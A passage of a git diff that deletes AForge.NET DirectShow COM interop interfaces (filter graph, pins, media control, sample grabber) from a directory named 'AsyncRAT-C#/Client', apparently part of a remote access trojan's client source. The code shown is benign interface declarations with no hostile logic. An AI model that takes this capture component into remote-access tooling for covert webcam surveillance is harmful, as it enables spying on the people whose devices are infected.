Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// Enumerates pins on a filter. - /// - /// - [ComImport, - Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IEnumPins - { - /// - /// Retrieves a specified number of pins. - /// - /// - /// Number of pins to retrieve. - /// Array of size cPins that is filled with IPin pointers. - /// Receives the number of pins retrieved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Next( [In] int cPins, - [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins, - [Out] out int pinsFetched ); - - /// - /// Skips a specified number of pins in the enumeration sequence. - /// - /// - /// Number of pins to skip. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Skip( [In] int cPins ); - - /// - /// Resets the enumeration sequence to the beginning. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reset( ); - - /// - /// Makes a copy of the enumerator with the same enumeration state. - /// - /// - /// Duplicate of the enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Clone( [Out] out IEnumPins enumPins ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs deleted file mode 100644 index 7d21c5f..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs +++ /dev/null @@ -1,113 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface provides methods for building a filter graph. An application can use it to add filters to - /// the graph, connect or disconnect filters, remove filters, and perform other basic operations. - /// - /// - [ComImport, - Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IFilterGraph - { - /// - /// Adds a filter to the graph and gives it a name. - /// - /// - /// Filter to add to the graph. - /// Name of the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Removes a filter from the graph. - /// - /// - /// Filter to be removed from the graph. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RemoveFilter( [In] IBaseFilter filter ); - - /// - /// Provides an enumerator for all filters in the graph. - /// - /// - /// Filter enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumFilters( [Out] out IntPtr enumerator ); - - /// - /// Finds a filter that was added with a specified name. - /// - /// - /// Name of filter to search for. - /// Interface of found filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); - - /// - /// Connects two pins directly (without intervening filters). - /// - /// - /// Output pin. - /// Input pin. - /// Media type to use for the connection. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin. - /// - /// - /// Pin to disconnect and reconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reconnect( [In] IPin pin ); - - /// - /// Disconnects a specified pin. - /// - /// - /// Pin to disconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( [In] IPin pin ); - - /// - /// Sets the reference clock to the default clock. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetDefaultSyncSource( ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs deleted file mode 100644 index b4dbf4c..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs +++ /dev/null @@ -1,257 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - - /// - /// This interface extends the and - /// interfaces, which contain methods for building filter graphs. - /// - /// - [ComImport, - Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"), - InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - internal interface IFilterGraph2 - { - // --- IFilterGraph Methods - - /// - /// Adds a filter to the graph and gives it a name. - /// - /// - /// Filter to add to the graph. - /// Name of the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Removes a filter from the graph. - /// - /// - /// Filter to be removed from the graph. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RemoveFilter( [In] IBaseFilter filter ); - - /// - /// Provides an enumerator for all filters in the graph. - /// - /// - /// Filter enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumFilters( [Out] out IEnumFilters enumerator ); - - /// - /// Finds a filter that was added with a specified name. - /// - /// - /// Name of filter to search for. - /// Interface of found filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); - - /// - /// Connects two pins directly (without intervening filters). - /// - /// - /// Output pin. - /// Input pin. - /// Media type to use for the connection. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin. - /// - /// - /// Pin to disconnect and reconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reconnect( [In] IPin pin ); - - /// - /// Disconnects a specified pin. - /// - /// - /// Pin to disconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( [In] IPin pin ); - - /// - /// Sets the reference clock to the default clock. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetDefaultSyncSource( ); - - // --- IGraphBuilder methods - - /// - /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. - /// - /// - /// Output pin. - /// Input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Connect( [In] IPin pinOut, [In] IPin pinIn ); - - /// - /// Adds a chain of filters to a specified output pin to render it. - /// - /// - /// Output pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Render( [In] IPin pinOut ); - - /// - /// Builds a filter graph that renders the specified file. - /// - /// - /// Specifies a string that contains file name or device moniker. - /// Reserved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string file, - [In, MarshalAs( UnmanagedType.LPWStr )] string playList ); - - /// - /// Adds a source filter to the filter graph for a specific file. - /// - /// - /// Specifies the name of the file to load. - /// Specifies a name for the source filter. - /// Variable that receives the interface of the source filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilter( - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, - [Out] out IBaseFilter filter ); - - /// - /// Sets the file for logging actions taken when attempting to perform an operation. - /// - /// - /// Handle to the log file. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetLogFile( IntPtr hFile ); - - /// - /// Requests that the graph builder return as soon as possible from its current task. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Abort( ); - - /// - /// Queries whether the current operation should continue. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ShouldOperationContinue( ); - - - // --- IFilterGraph2 methods - - /// - /// - /// - /// - /// Moniker interface. - /// Bind context interface. - /// Name for the filter. - /// Receives source filter's IBaseFilter interface. - /// The caller must release the interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilterForMoniker( - [In] IMoniker moniker, - [In] IBindCtx bindContext, - [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, - [Out] out IBaseFilter filter - ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin, - /// using a specified media type. - /// - /// - /// Pin to disconnect and reconnect. - /// Media type to reconnect with. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ReconnectEx( - [In] IPin pin, - [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType - ); - - /// - /// Render an output pin, with an option to use existing renderers only. - /// - /// - /// Interface of the output pin. - /// Flag that specifies how to render the pin. - /// Reserved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderEx( - [In] IPin outputPin, - [In] int flags, - [In] IntPtr context - ); - - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs deleted file mode 100644 index 8f3fc4e..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs +++ /dev/null @@ -1,198 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface provides methods that enable an application to build a filter graph. - /// - /// - [ComImport, - Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IGraphBuilder - { - // --- IFilterGraph Methods - - /// - /// Adds a filter to the graph and gives it a name. - /// - /// - /// Filter to add to the graph. - /// Name of the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Removes a filter from the graph. - /// - /// - /// Filter to be removed from the graph. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RemoveFilter( [In] IBaseFilter filter ); - - /// - /// Provides an enumerator for all filters in the graph. - /// - /// - /// Filter enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumFilters( [Out] out IEnumFilters enumerator ); - - /// - /// Finds a filter that was added with a specified name. - /// - /// - /// Name of filter to search for. - /// Interface of found filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); - - /// - /// Connects two pins directly (without intervening filters). - /// - /// - /// Output pin. - /// Input pin. - /// Media type to use for the connection. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin. - /// - /// - /// Pin to disconnect and reconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reconnect( [In] IPin pin ); - - /// - /// Disconnects a specified pin. - /// - /// - /// Pin to disconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( [In] IPin pin ); - - /// - /// Sets the reference clock to the default clock. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetDefaultSyncSource( ); - - // --- IGraphBuilder methods - - /// - /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. - /// - /// - /// Output pin. - /// Input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Connect( [In] IPin pinOut, [In] IPin pinIn ); - - /// - /// Adds a chain of filters to a specified output pin to render it. - /// - /// - /// Output pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Render( [In] IPin pinOut ); - - /// - /// Builds a filter graph that renders the specified file. - /// - /// - /// Specifies a string that contains file name or device moniker. - /// Reserved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string file, - [In, MarshalAs( UnmanagedType.LPWStr )] string playList); - - /// - /// Adds a source filter to the filter graph for a specific file. - /// - /// - /// Specifies the name of the file to load. - /// Specifies a name for the source filter. - /// Variable that receives the interface of the source filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilter( - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, - [Out] out IBaseFilter filter ); - - /// - /// Sets the file for logging actions taken when attempting to perform an operation. - /// - /// - /// Handle to the log file. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetLogFile( IntPtr hFile ); - - /// - /// Requests that the graph builder return as soon as possible from its current task. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Abort( ); - - /// - /// Queries whether the current operation should continue. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ShouldOperationContinue( ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs deleted file mode 100644 index c6ba357..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs +++ /dev/null @@ -1,118 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface provides methods for controlling the flow of data through the filter graph. - /// It includes methods for running, pausing, and stopping the graph. - /// - /// - [ComImport, - Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsDual )] - internal interface IMediaControl - { - /// - /// Runs all the filters in the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Run( ); - - /// - /// Pauses all filters in the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Pause( ); - - /// - /// Stops all the filters in the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Stop( ); - - /// - /// Retrieves the state of the filter graph. - /// - /// - /// Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out. - /// Ìariable that receives a member of the FILTER_STATE enumeration. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetState( int timeout, out int filterState ); - - /// - /// Builds a filter graph that renders the specified file. - /// - /// - /// Name of the file to render - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderFile( string fileName ); - - /// - /// Adds a source filter to the filter graph, for a specified file. - /// - /// - /// Name of the file containing the source video. - /// Receives interface of filter information object. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo ); - - /// - /// Retrieves a collection of the filters in the filter graph. - /// - /// - /// Receives the IAMCollection interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_FilterCollection( - [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); - - /// - /// Retrieves a collection of all the filters listed in the registry. - /// - /// - /// Receives the IDispatch interface of IAMCollection object. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_RegFilterCollection( - [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); - - /// - /// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int StopWhenReady( ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs deleted file mode 100644 index d01bee8..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs +++ /dev/null @@ -1,126 +0,0 @@ -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface inherits contains methods for retrieving event notifications and for overriding the - /// filter graph's default handling of events. - /// - [ComVisible( true ), ComImport, - Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ), - InterfaceType( ComInterfaceType.InterfaceIsDual )] - internal interface IMediaEventEx - { - /// - /// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications. - /// - /// Pointer to a variable that receives the event handle. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetEventHandle( out IntPtr hEvent ); - - /// - /// Retrieves the next event notification from the event queue. - /// - /// - /// Variable that receives the event code. - /// Pointer to a variable that receives the first event parameter. - /// Pointer to a variable that receives the second event parameter. - /// Time-out interval, in milliseconds. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout ); - - /// - /// Waits for the filter graph to render all available data. - /// - /// - /// Time-out interval, in milliseconds. Pass zero to return immediately. - /// Pointer to a variable that receives an event code. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int WaitForCompletion( int msTimeout, [Out] out int pEvCode ); - - /// - /// Cancels the Filter Graph Manager's default handling for a specified event. - /// - /// - /// Event code for which to cancel default handling. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CancelDefaultHandling( int lEvCode ); - - /// - /// Restores the Filter Graph Manager's default handling for a specified event. - /// - /// Event code for which to restore default handling. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RestoreDefaultHandling( int lEvCode ); - - /// - /// Frees resources associated with the parameters of an event. - /// - /// Event code. - /// First event parameter. - /// Second event parameter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 ); - - /// - /// Registers a window to process event notifications. - /// - /// - /// Handle to the window, or to stop receiving event messages. - /// Window message to be passed as the notification. - /// Value to be passed as the lParam parameter for the lMsg message. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData ); - - /// - /// Enables or disables event notifications. - /// - /// - /// Value indicating whether to enable or disable event notifications. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetNotifyFlags( int lNoNotifyFlags ); - - /// - /// Determines whether event notifications are enabled. - /// - /// - /// Variable that receives current notification status. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetNotifyFlags( out int lplNoNotifyFlags ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs deleted file mode 100644 index ceed73f..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs +++ /dev/null @@ -1,191 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface is exposed by all input and output pins of DirectShow filters. - /// - /// - [ComImport, - Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IPin - { - /// - /// Connects the pin to another pin. - /// - /// - /// Other pin to connect to. - /// Type to use for the connections (optional). - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Makes a connection to this pin and is called by a connecting pin. - /// - /// - /// Connecting pin. - /// Media type of the samples to be streamed. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the current pin connection. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( ); - - /// - /// Returns a pointer to the connecting pin. - /// - /// - /// Receives IPin interface of connected pin (if any). - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectedTo( [Out] out IPin pin ); - - /// - /// Returns the media type of this pin's connection. - /// - /// - /// Pointer to an structure. If the pin is connected, - /// the media type is returned. Otherwise, the structure is initialized to a default state in which - /// all elements are 0, with the exception of lSampleSize, which is set to 1, and - /// FixedSizeSamples, which is set to true. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Retrieves information about this pin (for example, the name, owning filter, and direction). - /// - /// - /// structure that receives the pin information. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryPinInfo( [Out] out PinInfo pinInfo ); - - /// - /// Retrieves the direction for this pin. - /// - /// - /// Receives direction of the pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryDirection( out PinDirection pinDirection ); - - /// - /// Retrieves an identifier for the pin. - /// - /// - /// Pin identifier. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id ); - - /// - /// Queries whether a given media type is acceptable by the pin. - /// - /// - /// structure that specifies the media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Provides an enumerator for this pin's preferred media types. - /// - /// - /// Address of a variable that receives a pointer to the IEnumMediaTypes interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumMediaTypes( IntPtr enumerator ); - - /// - /// Provides an array of the pins to which this pin internally connects. - /// - /// - /// Address of an array of IPin pointers. - /// On input, specifies the size of the array. When the method returns, - /// the value is set to the number of pointers returned in the array. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin ); - - /// - /// Notifies the pin that no additional data is expected. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EndOfStream( ); - - /// - /// Begins a flush operation. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int BeginFlush( ); - - /// - /// Ends a flush operation. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EndFlush( ); - - /// - /// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate. - /// - /// - /// Start time of the segment, relative to the original source, in 100-nanosecond units. - /// End time of the segment, relative to the original source, in 100-nanosecond units. - /// Rate at which this segment should be processed, as a percentage of the original rate. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int NewSegment( - long start, - long stop, - double rate ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs deleted file mode 100644 index faea69d..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs +++ /dev/null @@ -1,53 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IPropertyBag interface provides an object with a property bag in - /// which the object can persistently save its properties. - /// - /// - [ComImport, - Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IPropertyBag - { - /// - /// Read a property from property bag. - /// - /// - /// Property name to read. - /// Property value. - /// Caller's error log. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Read( - [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, - [In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar, - [In] IntPtr pErrorLog ); - - /// - /// Write property to property bag. - /// - /// - /// Property name to read. - /// Property value. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Write( - [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, - [In, MarshalAs( UnmanagedType.Struct )] ref object pVar ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs deleted file mode 100644 index cb0328f..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs +++ /dev/null @@ -1,87 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © Andrew Kirillov, 2010 -// andrew.kirillov@gmail.com -// -// Written by Jeremy Noring -// kidjan@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IReferenceClock interface provides the reference time for the filter graph. - /// - /// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. - /// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to - /// retrieve the current reference time, or to request notification of an elapsed time. - /// - [ComImport, System.Security.SuppressUnmanagedCodeSecurity, - Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IReferenceClock - { - /// - /// The GetTime method retrieves the current reference time. - /// - /// - /// Pointer to a variable that receives the current time, in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetTime( [Out] out long pTime ); - - /// - /// The AdviseTime method creates a one-shot advise request. - /// - /// - /// Base reference time, in 100-nanosecond units. See Remarks. - /// Stream offset time, in 100-nanosecond units. See Remarks. - /// Handle to an event, created by the caller. - /// Pointer to a variable that receives an identifier for the advise request. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AdviseTime( - [In] long baseTime, - [In] long streamTime, - [In] IntPtr hEvent, - [Out] out int pdwAdviseCookie ); - - /// - /// The AdvisePeriodic method creates a periodic advise request. - /// - /// - /// Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME. - /// Time between notifications, in 100-nanosecond units. Must be greater than zero. - /// Handle to a semaphore, created by the caller. - /// Pointer to a variable that receives an identifier for the advise request. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AdvisePeriodic( - [In] long startTime, - [In] long periodTime, - [In] IntPtr hSemaphore, - [Out] out int pdwAdviseCookie ); - - /// - /// The Unadvise method removes a pending advise request. - /// - /// - /// Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Unadvise( [In] int dwAdviseCookie ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs deleted file mode 100644 index 07854ac..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs +++ /dev/null @@ -1,103 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve - /// individual media samples as they move through the filter graph. - /// - /// - [ComImport, - Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"), - InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - internal interface ISampleGrabber - { - /// - /// Specifies whether the filter should stop the graph after receiving one sample. - /// - /// - /// Boolean value specifying whether the filter should stop the graph after receiving one sample. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot ); - - /// - /// Specifies the media type for the connection on the Sample Grabber's input pin. - /// - /// - /// Specifies the required media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Retrieves the media type for the connection on the Sample Grabber's input pin. - /// - /// - /// structure, which receives media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Specifies whether to copy sample data into a buffer as it goes through the filter. - /// - /// - /// Boolean value specifying whether to buffer sample data. - /// If true, the filter copies sample data into an internal buffer. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem ); - - /// - /// Retrieves a copy of the sample that the filter received most recently. - /// - /// - /// Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size. - /// Pointer to a buffer to receive a copy of the sample, or NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCurrentBuffer( ref int bufferSize, IntPtr buffer ); - - /// - /// Not currently implemented. - /// - /// - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCurrentSample( IntPtr sample ); - - /// - /// Specifies a callback method to call on incoming samples. - /// - /// - /// interface containing the callback method, or NULL to cancel the callback. - /// Index specifying the callback method. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int 